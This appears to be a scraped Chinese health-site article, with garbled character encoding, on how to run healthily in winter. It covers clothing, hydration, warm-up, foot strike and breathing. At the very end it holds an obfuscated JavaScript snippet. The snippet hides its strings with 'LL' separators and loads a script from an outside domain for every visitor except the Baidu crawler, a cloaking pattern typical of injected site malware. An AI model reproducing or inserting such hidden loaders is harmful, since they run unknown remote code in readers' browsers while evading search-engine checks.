當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

冬季怎跑步才比較健康

2017-04-14 16:07:12  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:冬季是一年里面最寒冷的季節(jié),在冬季里面我們會(huì)減少戶外的活動(dòng),所以很多朋友容易在冬季出現(xiàn)肥胖的癥狀,其實(shí)冬季我們也是需要堅(jiān)持體育鍛煉

冬季是一年里面最寒冷的季節(jié),在冬季里面我們會(huì)減少戶外的活動(dòng),所以很多朋友容易在冬季出現(xiàn)肥胖的癥狀,其實(shí)冬季我們也是需要堅(jiān)持體育鍛煉的。那么在冬季里面我們應(yīng)該做哪些運(yùn)動(dòng)比較適合呢?其實(shí)冬季最好的運(yùn)動(dòng)應(yīng)該是跑步了,但是我們也應(yīng)該知道冬季跑步是需要講究科學(xué)的方法,下文我們介紹一下冬季怎跑步才比較健康。

做好跑前準(zhǔn)備工作冬季氣溫低,外出晨跑穿著不能太單薄,尤其是上腹部要注意保暖,以免受涼引起脾胃不適。出門前最好喝一杯白開水,喝水不僅能補(bǔ)充水分,解除一夜的口干舌燥,而且能降低血濃度,促進(jìn)血液循環(huán)和物質(zhì)代謝。

有些人習(xí)慣于一出門馬上就跑,其實(shí)這樣不好。最好先搓搓手和臉,輕揉兩耳廓,戴好手套,以防止凍傷。再分別轉(zhuǎn)動(dòng)左右腳腕,活動(dòng)膝關(guān)節(jié)。最后,深呼一口氣,調(diào)整一下心理情緒。這時(shí),你可以起跑了。

掌握正確的方法起跑后上身稍微前傾,兩眼平視,兩臂隨跑的節(jié)奏自然擺動(dòng),腳尖要朝向正前方,不要形成“八”字,后蹬要有力,落地要輕柔,動(dòng)作要放松。長跑腳的著地動(dòng)作有兩種:一種是腳前掌或腳掌外側(cè)著地。這種方法速度快、效果好,但比較費(fèi)力。它適合于提高成績的專業(yè)運(yùn)動(dòng)員;另一種是全腳掌落地過渡到前掌蹬地。這種方法,腿的后面肌肉比較放松,跑起來省力,但速度較慢,適于大多數(shù)人和初學(xué)者,平時(shí)健身很適宜。

長跑的呼吸很重要長跑屬于有氧代謝運(yùn)動(dòng),參與人體各大器官的循環(huán),特別是呼吸系統(tǒng)。在跑的過程中,人體對氧氣的需求量不斷增加,因此要很好地注意呼吸節(jié)奏。一般情況下,可二步一吸或三步一吸,注意節(jié)奏不能起伏過大。吸氣方式上,應(yīng)采用鼻呼吸和口鼻混合吸,可用舌抵住上顎,以避免冷空氣直接大量吸入而造成對胸部的刺激。在長跑中,由于氧氣供應(yīng)落后于肌肉的活動(dòng)需要,因此在跑的過程中會(huì)出現(xiàn)“不適應(yīng)”的現(xiàn)象,使人感到腿發(fā)沉、胸發(fā)悶、呼吸困難和不想繼續(xù)跑下去。這時(shí),要適當(dāng)降低跑速,調(diào)節(jié)好呼吸節(jié)奏,堅(jiān)持跑下去的決心。不久,困難就能克服。

在上面的文章里面我們建議讀者朋友們在寒冷的冬季也是需要進(jìn)行體育鍛煉的。我們知道跑步是冬季里面非常好的一項(xiàng)運(yùn)動(dòng),上文為我們詳細(xì)介紹了冬季怎跑步才比較健康,希望能給大家?guī)硪欢ǖ膸椭?/p>

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}